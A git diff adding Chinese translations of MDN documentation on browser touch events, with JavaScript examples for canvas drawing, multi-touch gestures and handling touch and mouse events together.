+  for (let i = 0; i < touches.length; i++) {
+    const color = colorForTouch(touches[i]);
+    const idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      log("继续第 " + idx + "个触摸。");
+      ctx.beginPath();
+      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // 切换触摸信息
+      console.log(".");
+    } else {
+      log("无法确定下一个触摸点。");
+    }
+  }
+}
+
+ +

这个函数不仅对所有已改变的触摸点进行了遍历,还从缓存的触摸信息数组中得到了每个触摸点要绘制的新线段的起点。这是通过读取每个触摸点的 {{domxref("Touch.identifier")}} 属性实现的。对每个触摸点而言,该属性是个唯一的整数,且手指接触表面的整个过程中,这个属性保持不变。

+ +

这样我们就可以取得每个触摸点之前位置的坐标,并且使用恰当的上下文方法绘制片段,从而将新旧两个位置连接起来。

+ +

当片段绘制完毕后,我们调用 Array.splice() 将 ongoingTouches 数组中触摸点之前的信息替换为当前信息。

+ +

触摸结束处理

+ +

用户的手指从表面抬起时将触发 {{event("touchend")}} 事件。我们通过调用下面的 handleEnd() 函数来处理此类事件。 这个函数的工作就是为每个结束的触摸点绘制最后一个片段,然后将触摸点从 ongoingTouches 数组中移除。

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  log("触摸结束。");
+  const el = document.getElementsByTagName("canvas")[0];
+  const ctx = el.getContext("2d");
+   touches = evt.changedTouches;
+
+  for (let i = 0; i < touches.length; i++) {
+    const color = colorForTouch(touches[i]);
+    const idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);
+      // 在终点画一个正方形
+      ongoingTouches.splice(idx, 1); // 用完后移除
+    } else {
+      log("无法确定要结束哪个触摸点。");
+    }
+  }
+}
+
+ +

这个函数与上一个很相像,唯一的实质性区别就是在调用 Array.splice() 时, 我们把用过的触摸实体从 ongoingTouches 数组中直接移除了,不再添加更新信息。对这个触摸点的跟踪随之终止。

+ +

触摸取消处理

+ +

如果用户的手指不小心滑入浏览器界面,或者触摸需要取消时,会触发 {{event("touchcancel")}} 事件。从而会调用下面的 handleCancel() 函数:

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  console.log("触摸取消。");
+  const touches = evt.changedTouches;
+
+  for (let i = 0; i < touches.length; i++) {
+    const idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1); // 用完后移除
+  }
+}
+
+ +

这里的想法是立刻结束触摸,所以我们直接从 ongoingTouches 数组中将其移除,而不去绘制最后的片段。

+ +

便捷函数

+ +

本例中使用了几个便捷函数,有必要简单了解一下,对理解其它代码很有帮助。

+ +

为每个触摸点选择一个颜色

+ +

为了区分每个触摸点绘制的内容,我们引入 colorForTouch() 函数,根据每个触摸点所独有的标记设定一个颜色。 这个标记在这里可能是一个无意义的数字,但我们至少可以利用它“对于每个触摸点的值都不同”这一特性。

+ +
function colorForTouch(touch) {
+  let r = touch.identifier % 16;
+  let g = Math.floor(touch.identifier / 3) % 16;
+  let b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // 转换为十六进制字符串
+  g = g.toString(16); // 转换为十六进制字符串
+  b = b.toString(16); // 转换为十六进制字符串
+  const color = "#" + r + g + b;
+  log("identifier " + touch.identifier + " 触摸的颜色为:" + color);
+  return color;
+}
+
+ +

这个函数返回一个表示颜色的字符串,可以在调用 {{ HTMLElement("canvas") }} 的函数时使用。比如,若 {{ domxref("Touch.identifier") }} 的值为 10, 则返回的字符串为 "#aaa"。

+ +
+

译注:这里的 colorForTouch() 不是一个好主意。Touch.identifier 是一个实验性属性,存在兼容性问题,不同浏览器之间实现方法不同,因此会得到不同的结果。

+
+ +

拷贝触摸对象

+ +

有些浏览器(比如 mobile Safari)会在不同事件之间复用触摸点对象,因此只复制所需的部分,要优于引用整个对象。

+ +
function copyTouch(touch) {
+  return {
+    identifier: touch.identifier,
+    pageX: touch.pageX,
+    pageY: touch.pageY
+  };
+}
+ +

查找触摸点

+ +

ongoingTouchIndexById() 函数通过遍历 ongoingTouches 数组来寻找与给定标记相匹配的触摸点,返回该触摸点在数组中的下标。

+ +
function ongoingTouchIndexById(idToFind) {
+  for (let i = 0; i < ongoingTouches.length; i++) {
+    const id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // 未找到
+}
+
+ +

显示后台操作记录

+ +
function log(msg) {
+  const p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}
+ +

如果你的浏览器支持触摸,就可以 在线试用

+ +

jsFiddle 上的示例

+ +

附加信息

+ +

本节提供了在 web 应用中处理触摸事件的其它信息。

+ +

处理点击

+ +

由于在 {{event("touchstart")}}(或系列 {{event("touchmove")}} 事件里的首个)中调用 preventDefault() 也会阻止相应的鼠标事件的触发,因此一般情况下我们在{{event("touchmove")}} 而不是 {{event("touchstart")}} 中调用它,这样,鼠标事件仍可正常触发,链接等部件也可继续工作。有些框架采取了一个替代方案,使用触摸事件代替鼠标事件来达到相同目的。 (下面的示例过于简单,可能产生奇怪的行为。这里仅仅作为一个引导。)

+ +
function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  const newEvt = document.createEvent("MouseEvents");
+  let type = null;
+  let touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

只在第二次触摸时调用 preventDefault()

+ +

为了阻止页面产生类似 pinchZoom 的行为,可以通过“在系列触摸点的第二个调用 preventDefault()”技术来实现。但是该技术的行为并没有在触摸事件的标准中做出完整定义,并且在不同浏览器中会产生不同行为(比如,iOS将阻止缩放,但允许二指平移;Android 允许缩放但阻止平移;Opera 和 Firefox 目前会阻止所有缩放和平移操作)。目前,对于此类情况最好依靠 meta viewport 来阻止缩放,而不要依赖于上述行为。

+ +
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}添加 radiusXradiusYrotationAngle 和 force 属性
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}首次引入
+ +

浏览器兼容性

+ +

Touch

+ + + +

{{Compat("api.Touch")}}

+ +

Firefox,触摸事件以及多进程(e10s)

+ +

在 Firefox 中,触摸事件随 e10s(electrolysis 即 多进程 Firefox)的禁用而禁用。e10s 在 Firefox 中默认为可用,但可以在某些特定情形下关闭它,比如在安装一些要求禁用 e10s 的工具或扩展时。这意味着即使在支持触屏的桌面或便携设备上,触摸事件也可能失效。

+ +

你可以使用 about:support 查看“应用程序概要”部分中“多进程窗口”一栏来确定 e10s 是否启用。1/1 表示启用,0/1 表示禁用。

+ +

如果你想强制性的开启 e10s(来显式重新启用触摸事件支持),你需要使用 about:config 创建一个布尔类型的设置 browser.tabs.remote.force-enable,将它设置为 true,重启浏览器,e10s 将始终启用而不受其他设置的影响。

diff --git a/files/zh-cn/web/api/touch_events/multi-touch_interaction/index.html b/files/zh-cn/web/api/touch_events/multi-touch_interaction/index.html new file mode 100644 index 0000000000..3b8426c319 --- /dev/null +++ b/files/zh-cn/web/api/touch_events/multi-touch_interaction/index.html @@ -0,0 +1,258 @@ +--- +title: 多点触控交互 +slug: Web/API/Touch_events/Multi-touch_interaction +translation_of: Web/API/Touch_events/Multi-touch_interaction +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

The touch event interfaces support application-specific single and multi-touch interactions. However, the interfaces can be a bit tricky for programmers to use because touch events are very different from other DOM input events, such as {{domxref("MouseEvent","mouse events")}}. The application described in this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures.

+ +

A live version of this application is available on Github. The source code is available on Github and pull requests and bug reports are welcome.

+ +

Example

+ +

This example demonstrates using the {{event("touchstart")}}, {{event("touchmove")}}, {{event("touchcancel")}}, and {{event("touchend")}}) touch events for the following gestures: single touch, two (simultaneous) touches, more than two simultaneous touches, 1-finger swipe, and 2-finger move/pinch/swipe.

+ +

Define touch targets

+ +

The application uses {{HTMLElement("div")}} elements to represent four touch areas.

+ +
<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #target1 {
+    background: white;
+    border: 1px solid black;
+  }
+  #target2 {
+    background: white;
+    border: 1px solid black;
+  }
+  #target3 {
+    background: white;
+    border: 1px solid black;
+  }
+  #target4 {
+    background: white;
+    border: 1px solid black;
+  }
+</style>
+
+ +

Global state

+ +

tpCache is used to cache touch points for processing outside of the event where they were fired.

+ +
// Log events flag
+var logEvents = false;
+
+// Touch Point cache
+var tpCache = new Array();
+
+ +

Register event handlers

+ +

Event handlers are registered for all four touch event types. The {{event("touchend")}} and {{event("touchcancel")}} event types use the same handler.

+ +
function set_handlers(name) {
+ // Install event handlers for the given element
+ var el=document.getElementById(name);
+ el.ontouchstart = start_handler;
+ el.ontouchmove = move_handler;
+ // Use same handler for touchcancel and touchend
+ el.ontouchcancel = end_handler;
+ el.ontouchend = end_handler;
+}
+
+function init() {
+ set_handlers("target1");
+ set_handlers("target2");
+ set_handlers("target3");
+ set_handlers("target4");
+}
+
+ +

Move/Pinch/Zoom handler

+ +

This function provides very basic support for 2-touch horizontal move/pinch/zoom handling. The code does not include error handling, or vertical moving. Note that the threshold for pinch and zoom movement detection is application specific (and device dependent).

+ +
// This is a very basic 2-touch move/pinch/zoom handler that does not include
+// error handling, only handles horizontal moves, etc.
+function handle_pinch_zoom(ev) {
+
+ if (ev.targetTouches.length == 2 && ev.changedTouches.length == 2) {
+   // Check if the two target touches are the same ones that started
+   // the 2-touch
+   var point1=-1, point2=-1;
+   for (var i=0; i < tpCache.length; i++) {
+     if (tpCache[i].identifier == ev.targetTouches[0].identifier) point1 = i;
+     if (tpCache[i].identifier == ev.targetTouches[1].identifier) point2 = i;
+   }
+   if (point1 >=0 && point2 >= 0) {
+     // Calculate the difference between the start and move coordinates
+     var diff1 = Math.abs(tpCache[point1].clientX - ev.targetTouches[0].clientX);
+     var diff2 = Math.abs(tpCache[point2].clientX - ev.targetTouches[1].clientX);
+
+     // This threshold is device dependent as well as application specific
+     var PINCH_THRESHHOLD = ev.target.clientWidth / 10;
+     if (diff1 >= PINCH_THRESHHOLD && diff2 >= PINCH_THRESHHOLD)
+         ev.target.style.background = "green";
+   }
+   else {
+     // empty tpCache
+     tpCache = new Array();
+   }
+ }
+}
+
+ +

Touch start handler

+ +

The {{event("touchstart")}} event handler caches touch points to support 2-touch gestures. It also calls {{domxref("Event.preventDefault","preventDefault()")}} to keep the browser from applying further event handling (for example, mouse event emulation).

+ +
function start_handler(ev) {
+ // If the user makes simultaneious touches, the browser will fire a
+ // separate touchstart event for each touch point. Thus if there are
+ // three simultaneous touches, the first touchstart event will have
+ // targetTouches length of one, the second event will have a length
+ // of two, and so on.
+ ev.preventDefault();
+ // Cache the touch points for later processing of 2-touch pinch/zoom
+ if (ev.targetTouches.length == 2) {
+   for (var i=0; i < ev.targetTouches.length; i++) {
+     tpCache.push(ev.targetTouches[i]);
+   }
+ }
+ if (logEvents) log("touchStart", ev, true);
+ update_background(ev);
+}
+
+ +

Touch move handler

+ +

The {{event("touchmove")}} handler calls {{domxref("Event.preventDefault","preventDefault()")}} for the same reason mentioned above, and invokes the pinch/zoom handler.

+ +
function move_handler(ev) {
+ // Note: if the user makes more than one "simultaneous" touches, most browsers
+ // fire at least one touchmove event and some will fire several touchmoves.
+ // Consequently, an application might want to "ignore" some touchmoves.
+ //
+ // This function sets the target element's border to "dashed" to visually
+ // indicate the target received a move event.
+ //
+ ev.preventDefault();
+ if (logEvents) log("touchMove", ev, false);
+ // To avoid too much color flashing many touchmove events are started,
+ // don't update the background if two touch points are active
+ if (!(ev.touches.length == 2 && ev.targetTouches.length == 2))
+   update_background(ev);
+
+ // Set the target element's border to dashed to give a clear visual
+ // indication the element received a move event.
+ ev.target.style.border = "dashed";
+
+ // Check this event for 2-touch Move/Pinch/Zoom gesture
+ handle_pinch_zoom(ev);
+}
+
+ +

Touch end handler

+ +

The {{event("touchend")}} handler restores the event target's background color back to its original color.

+ +
function end_handler(ev) {
+  ev.preventDefault();
+  if (logEvents) log(ev.type, ev, false);
+  if (ev.targetTouches.length == 0) {
+    // Restore background and border to original values
+    ev.target.style.background = "white";
+    ev.target.style.border = "1px solid black";
+  }
+}
+
+ +

Application UI

+ +

The application uses {{HTMLElement("div")}} elements for the touch areas and provides buttons to enable logging and clear the log.

+ +
<div id="target1"> Tap, Hold or Swipe me 1</div>
+<div id="target2"> Tap, Hold or Swipe me 2</div>
+<div id="target3"> Tap, Hold or Swipe me 3</div>
+<div id="target4"> Tap, Hold or Swipe me 4</div>
+
+<!-- UI for logging/bebugging -->
+<button id="log" onclick="enableLog(event);">Start/Stop event logging</button>
+<button id="clearlog" onclick="clearLog(event);">Clear the log</button>
+<p></p>
+<output></output>
+
+ +

Miscellaneous functions

+ +

These functions support the application but aren't directly involved with the event flow.

+ +

Update background color

+ +

The background color of the touch areas will change as follows: no touch is white; one touch is yellow; two simultaneous touches is pink, and three or more simultaneous touches is lightblue. See touch move for information about the background color changing when a 2-finger move/pinch/zoom is detected.

+ +
function update_background(ev) {
+ // Change background color based on the number simultaneous touches
+ // in the event's targetTouches list:
+ //   yellow - one tap (or hold)
+ //   pink - two taps
+ //   lightblue - more than two taps
+ switch (ev.targetTouches.length) {
+   case 1:
+     // Single tap`
+     ev.target.style.background = "yellow";
+     break;
+   case 2:
+     // Two simultaneous touches
+     ev.target.style.background = "pink";
+     break;
+   default:
+     // More than two simultaneous touches
+     ev.target.style.background = "lightblue";
+ }
+}
+
+ +

Event logging

+ +

The functions are used to log event activity to the application window, to support debugging and learning about the event flow.

+ +
function enableLog(ev) {
+  logEvents = logEvents ? false : true;
+}
+
+function log(name, ev, printTargetIds) {
+  var o = document.getElementsByTagName('output')[0];
+  var s = name + ": touches = " + ev.touches.length +
+                " ; targetTouches = " + ev.targetTouches.length +
+                " ; changedTouches = " + ev.changedTouches.length;
+  o.innerHTML += s + "
+";
+
+  if (printTargetIds) {
+    s = "";
+    for (var i=0; i < ev.targetTouches.length; i++) {
+      s += "... id = " + ev.targetTouches[i].identifier + "
+";
+    }
+    o.innerHTML += s;
+  }
+}
+
+function clearLog(event) {
+ var o = document.getElementsByTagName('output')[0];
+ o.innerHTML = "";
+}
+
+ + + + diff --git a/files/zh-cn/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/zh-cn/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html new file mode 100644 index 0000000000..99f5ee55f7 --- /dev/null +++ b/files/zh-cn/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html @@ -0,0 +1,65 @@ +--- +title: 同时支持触屏事件和鼠标事件 +slug: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent +translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

{{domxref("Touch_events","touch")}} 接口使得应用可以提高触屏设备上的用户体验。然而,现在绝大多数的web内容都是为鼠标操作而设计的。因此,即使浏览器支持触屏,也必须要模拟(emulate)鼠标事件,这样即使是那些只能接受鼠标输入的内容,也不需要进行额外修改就可以正常工作。

+ +

理想状态下,一个基于触屏的应用不需要去明确指定鼠标输入。然而,由于浏览器必须要模拟(emulate)鼠标事件,很有可能有一些特定的交互问题需要去处理。下面列出了这些交互的细节 ,并指导应用开发者该如何去处理它们。

+ +

事件触发

+ +

触摸事件标准定义了一些关于触摸和鼠标交互的浏览器要求(有关详细信息,请参阅与鼠标事件的交互和单击部分),注意浏览器可以触发触摸事件和鼠标事件以响应相同的用户输入。本节介绍可能影响应用程序的条件。

+ +

如果浏览器因单个用户输入而触发触摸和鼠标事件,则浏览器必须在任何鼠标事件之前触发{{event("touchstart")}}。因此,如果应用程序不希望在特定触摸{{domxref("Touch.target","target")}} 元素上触发鼠标事件,则元素的触摸事件处理程序应调用{{domxref("Event.preventDefault()","preventDefault()")}}并且不会调度其他鼠标事件。

+ +

这是{{event("touchmove")}}事件处理程序调用的代码片段

+ +

preventDefault().

+ +
// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+
+ +

事件顺序

+ +

虽然触摸和鼠标事件的特定顺序是根据实际情况而定的,但标准表明事件执行顺序是固定的:对于单个输入:

+ + + +

如果 {{event("touchstart")}}, {{event("touchmove")}} 或者 {{event("touchend")}} 在触摸的过程中触发了touchcancel事件,后面的鼠标事件将不会被触发,由此产生的事件序列只是:

+ + + +

社区

+ + + +

相关主题和资源

+ + diff --git a/files/zh-cn/web/api/touch_events/using_touch_events/index.html b/files/zh-cn/web/api/touch_events/using_touch_events/index.html new file mode 100644 index 0000000000..a9a643f82d --- /dev/null +++ b/files/zh-cn/web/api/touch_events/using_touch_events/index.html @@ -0,0 +1,151 @@ +--- +title: 使用触摸事件 +slug: Web/API/Touch_events/Using_Touch_Events +translation_of: Web/API/Touch_events/Using_Touch_Events +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

今天,大多数 Web 内容是为键盘和鼠标输入而设计的。然而,具有触摸屏(特别是便携式设备)的设备是主流的,Web应用程序可以使用 {{domxref("Touch_events","Touch Events")}} 直接处理基于触摸的输入,或者应用程序可以使用可解释的鼠标事件以处理应用程序的输入。使用鼠标事件的缺点是它们不支持并发用户输入,而触摸事件支持多个同时输入(可能在触摸面上的不同位置),从而增强用户体验。

+ +

触摸事件界面支持应用程序特定的单触摸和多点触控交互,例如双指手势。当手指(或触控笔)首先触摸接触面时,多点触摸交互开始。其他手指随后可以触摸该表面并且可选地移动穿过该触摸表面。当手指从表面移除时,相互作用结束。在此交互期间,应用程序在开始,移动和结束阶段接收触摸事件。应用程序可以将其自己的语义应用于触摸输入。

+ +

Interfaces

+ +

触摸事件有三个接口 ({{domxref("Touch")}}, {{domxref("TouchEvent")}} 和 {{domxref("TouchList")}}) 和以下事件类型:

+ + + +

{{domxref("Touch")}} 接口表示触敏设备上的单个接触点。接触点通常被称为触摸点或仅仅是触摸点。触摸通常由触摸屏,笔或触控板上的手指或触控笔产生。触摸点的属性包括唯一标识符,触摸点的目标元素以及触摸点相对于视口,页面和屏幕的位置的X和Y坐标。

+ +

{{domxref("TouchList")}} 接口表示触摸表面上的触点的列表。因此,如果用户用一根手指触摸触控表面,则该列表将包含一个触点,并且如果用户用三个手指触摸该表面,则列表长度将为三个。

+ +

{{domxref("TouchEvent")}} 接口表示当触控屏上触点的状态发生改变时会发送的事件。当与触控屏开始接触时状态开始改变,移动触摸点且手指在触控屏上,释放触点然后退出触摸事件。这个接口的属性包括几个修饰键的状态(例如 shift键)和下面的触摸列表:

+ + + +

这些接口一起定义了相对较低级别的功能,但它们支持多种基于触摸的交互,包括熟悉的多点触控手势,如多指手指滑动,旋转,捏和缩放。

+ +

From interfaces to gestures

+ +

在定义手势的语义时,应用程序可能会考虑不同的因素。例如,当触摸结束时,触摸点从其起始位置行进到其位置的距离。另一个潜在因素是时间;例如,触摸开始和触摸结束之间经过的时间,或者用于创建双击手势的两个同时敲击之间的时间间隔。滑动的方向性(例如从左到右,从左到右等)是另一个要考虑的因素。

+ +

应用程序使用的触摸列表取决于应用程序手势的语义。例如,如果应用程序在一个元素上支持单一触摸(点击),则它将使用 {{event("touchstart")}} 中的 {{domxref("TouchEvent.targetTouches","targetTouches")}} 列表事件处理程序以特定应用程序处理触摸点。如果应用程序支持任意两个触摸点的双指滑动,它将使用 {{event("touchmove")}} 事件处理程序中的 {{domxref("TouchEvent.changedTouches","changedTouches")}} 列表确定两个触摸点是否已移动,然后以应用程序特定的方式实现该手势的语义。

+ +

当只有一个活动的触摸点时,浏览器通常会分派仿真的鼠标和点击事件。涉及两个或多个活动触摸点的多点触控交互通常只会产生触摸事件。为了防止模拟的鼠标事件被发送,请在触摸事件处理程序中使用 {{domxref("Event.preventDefault()","preventDefault()")}} 方法。有关鼠标和触摸事件之间的交互的详细信息,请参阅  {{domxref("Touch_events.Supporting_both_TouchEvent_and_MouseEvent", "Supporting both TouchEvent and MouseEvent")}}。

+ +

Basic steps

+ +

本节包含使用上述接口的基本用法。有关更详细的示例,请参阅 {{domxref("Touch_events","Touch Events Overview")}} 。

+ +

对每一个触摸事件类型注册一个事件处理器。

+ +
// Register touch event handlers
+someElement.addEventListener('touchstart', process_touchstart, false);
+someElement.addEventListener('touchmove', process_touchmove, false);
+someElement.addEventListener('touchcancel', process_touchcancel, false);
+someElement.addEventListener('touchend', process_touchend, false);
+ +

在事件处理程序中处理事件,实现应用程序的手势语义。

+ +
// touchstart handler
+function process_touchstart(ev) {
+  // Use the event's data to call out to the appropriate gesture handlers
+  switch (ev.touches.length) {
+    case 1: handle_one_touch(ev); break;
+    case 2: handle_two_touches(ev); break;
+    case 3: handle_three_touches(ev); break;
+    default: gesture_not_supported(ev); break;
+  }
+}
+ +

访问触摸点的属性。

+ +
// Create touchstart handler
+someElement.addEventListener('touchstart', function(ev) {
+  // Iterate through the touch points that were activiated
+  // for this element and process each event 'target'
+  for (var i=0; i < ev.targetTouches.length; i++) {
+    process_target(ev.targetTouches[i].target);
+  }
+}, false);
+ +

阻止游览器产生模拟鼠标事件。

+ +
// touchmove handler
+function process_touchmove(ev) {
+  // Set call preventDefault()
+  ev.preventDefault();
+}
+
+ +

Best practices

+ +

以下是使用触摸事件时要考虑的最佳做法:

+ + + +

Implementation and deployment status

+ +

touch events browser compatibility data 表明移动浏览器中的触摸事件支持相对较好,尽管其他实现正在进行中,桌面浏览器支持滞后。

+ +

关于触摸点的 touch area 的一些新功能 - 用户和触摸表面之间的接触面积正在被标准化。新功能包括最接近触摸点与触摸面的接触区域的椭圆的X和Y半径。接触点的旋转角度 - 应用于所描述的椭圆以与接触面积对准的旋转角度的数量也被标准化,以及触摸点上对屏幕的力量。

+ +

What about Pointer Events?

+ +

The introduction of new input mechanisms results in increased application complexity to handle various input events, such as key events, mouse events, pen/stylus events, and touch events. To help address this problem, the Pointer Events standard defines events and related interfaces for handling hardware agnostic pointer input from devices including a mouse, pen, touchscreen, etc.. That is, the abstract pointer creates a unified input model that can represent a contact point for a finger, pen/stylus or mouse.

+ +

The pointer event model can simplify an application's input processing since a pointer represents input from any input device. Additionally, the pointer event types are very similar to mouse event types (for example, pointerdown pointerup) thus code to handle pointer events closely matches mouse handling code.

+ +

The implementation status of pointer events in browsers is relatively low with IE11 and Edge having complete implementations. Firefox's implementation has been withdrawn because of {{bug("1166347")}}.

+ +

Examples and demos

+ +

The following documents describe how to use touch events and include example code:

+ + + +

Touch event demonstrations:

+ + + +

Community

+ + + + + + diff --git a/files/zh-cn/web/api/touchevent/changedtouches/index.html b/files/zh-cn/web/api/touchevent/changedtouches/index.html new file mode 100644 index 0000000000..a286e3a674 --- /dev/null +++ b/files/zh-cn/web/api/touchevent/changedtouches/index.html @@ -0,0 +1,34 @@ +--- +title: TouchEvent.changedTouches +slug: Web/API/TouchEvent/changedTouches +translation_of: Web/API/TouchEvent/changedTouches +--- +

{{ ApiRef() }}

+ +

概述

+ +

这个 {{ domxref("TouchList") }} 对象列出了和这个触摸事件对应的 {{ domxref("Touch") }} 对象。

+ + + +

语法

+ +
var touches = touchEvent.changedTouches;
+
+ +

这是一个只读属性。

+ +

返回值

+ +
+
touches
+
列出对应这个触摸事件的 {{ domxref("Touch") }} 对象的 {{ domxref("TouchList") }} 对象。
+
+ +

标准定义

+ +

Touch Events Specification

diff --git a/files/zh-cn/web/api/touchevent/index.html b/files/zh-cn/web/api/touchevent/index.html new file mode 100644 index 0000000000..7ca4bb4235 --- /dev/null +++ b/files/zh-cn/web/api/touchevent/index.html @@ -0,0 +1,143 @@ +--- +title: TouchEvent +slug: Web/API/TouchEvent +tags: + - API + - DOM + - 参考 + - 接口 + - 触摸 +translation_of: Web/API/TouchEvent +--- +

{{ ApiRef() }}

+ +

TouchEvent 是一类描述手指在触摸平面(触摸屏、触摸板等)的状态变化的事件。这类事件用于描述一个或多个触点,使开发者可以检测触点的移动,触点的增加和减少,等等。

+ +

每 个 {{ domxref("Touch") }} 对象代表一个触点; 每个触点都由其位置,大小,形状,压力大小,和目标 {{ domxref("element") }} 描述。 {{ domxref("TouchList") }} 对象代表多个触点的一个列表.

+ +

构造函数

+ +
+
{{ domxref("TouchEvent.TouchEvent", "TouchEvent()")}}
+
创建一个{{ domxref("TouchEvent") }}对象。
+
+ +

属性列表

+ +

{{ domxref("TouchEvent") }}的属性继承了 {{domxref("UIEvent")}} 和 {{domxref("Event")}}。

+ +
+
{{ domxref("event.altKey", "TouchEvent.altKey") }} {{readonlyInline}}
+
布尔值,指明触摸事件触发时,键盘 alt 键是否被按下。
+
{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}
+
一个 {{ domxref("TouchList") }} 对象,包含了代表所有从上一次触摸事件到此次事件过程中,状态发生了改变的触点的 {{ domxref("Touch") }} 对象。
+
{{ domxref("event.ctrlKey", "TouchEvent.ctrlKey") }} {{readonlyInline}}
+
布尔值,指明触摸事件触发时,键盘 ctrl 键是否被按下。
+
{{ domxref("event.metaKey", "TouchEvent.metaKey") }} {{readonlyInline}}
+
布尔值,指明触摸事件触发时,键盘 meta 键 (Wikipedia - meta Key)是否被按下。
+
{{ domxref("event.shiftKey", "TouchEvent.shiftKey") }} {{readonlyInline}}
+
布尔值,指明触摸事件触发时,键盘 shift 键是否被按下。
+
{{ domxref("TouchEvent.targetTouches") }} {{readonlyInline}}
+
一个 {{ domxref("TouchList") }} 对象,是包含了如下触点的 {{ domxref("Touch") }} 对象:触摸起始于当前事件的目标 {{ domxref("element") }} 上,并且仍然没有离开触摸平面的触点。
+
{{ domxref("TouchEvent.touches") }} {{readonlyInline}}
+
一 个 {{ domxref("TouchList") }} 对象,包含了所有当前接触触摸平面的触点的 {{ domxref("Touch") }} 对象,无论它们的起始于哪个 {{ domxref("element") }} 上,也无论它们状态是否发生了变化。
+
+ +

触摸事件的类型

+ +

为了区别触摸相关的状态改变,存在多种类型的触摸事件。可以通过检查触摸事件的 {{ domxref("event.type", "TouchEvent.type") }} 属性来确定当前事件属于哪种类型

+ +
注意: 在很多情况下,触摸事件和鼠标事件会同时被触发(目的是让没有对触摸设备优化的代码仍然可以在触摸设备上正常工作)。如果你使用了触摸事件,可以调用 {{ domxref("event.preventDefault()") }} 来阻止鼠标事件被触发。
+ +

{{domxref("Element/touchstart_event", "touchstart")}}

+ +

当用户在触摸平面上放置了一个触点时触发。事件的目标 {{ domxref("element")}} 将是触点位置上的那个目标 {{ domxref("element") }}

+ +

{{domxref("Element/touchend_event", "touchend")}}

+ +

当一个触点被用户从触摸平面上移除(即用户的一个手指或手写笔离开触摸平面)时触发。当触点移出触摸平面的边界时也将触发。例如用户将手指划出屏幕边缘。

+ +

事件的目标 {{ domxref("element") }} 与触发 touchstart 事件的目标 {{ domxref("element") }} 相同,即使 touchend 事件触发时,触点已经移出了该 {{ domxref("element") }} 。

+ +

已经被从触摸平面上移除的触点,可以在 changedTouches 属性定义的 {{ domxref("TouchList") }} 中找到。

+ +

{{domxref("Element/touchmove_event", "touchmove")}}

+ +

当用户在触摸平面上移动触点时触发。事件的目标 {{ domxref("element") }} 和触发 touchstart 事件的目标 {{ domxref("element") }} 相同,即使当 touchmove 事件触发时,触点已经移出了该 {{ domxref("element") }} 。

+ +

当触点的半径、旋转角度以及压力大小发生变化时,也将触发此事件。

+ +
注意: 不同浏览器上 touchmove 事件的触发频率并不相同。这个触发频率还和硬件设备的性能有关。因此决不能让程序的运作依赖于某个特定的触发频率。
+ +

{{domxref("Element/touchcancel_event", "touchcancel")}}

+ +

当触点由于某些原因被中断时触发。有几种可能的原因如下(具体的原因根据不同的设备和浏览器有所不同):

+ + + +

与 addEventListener() 和 preventDefault() 一起使用

+ +

很值得注意的是,在很多情况下,触摸事件和鼠标事件会一起触发(以使非触摸专用的代码仍然可以与用户交互)。如果你要使用触摸事件,你可以使用 {{domxref("Event.preventDefault","preventDefault()")}} 来取消鼠标事件。

+ +

但 Chrome 是例外,从版本56(桌面版、安卓版和安卓 webview)开始,Chrome 中 {{domxref("Element/touchstart_event", "touchstart")}} and {{domxref("Element/touchmove_event", "touchmove")}} 的默认值就是 true,没有必要调用 {{domxref("Event.preventDefault","preventDefault()")}}。如果要重写这个行为,简单地将 passive 设置成 false 就行。这样设置可以阻止监听器在用户滚动时停止页面渲染。Google Developer 有一个简单的演示。

+ +

全局事件处理

+ +

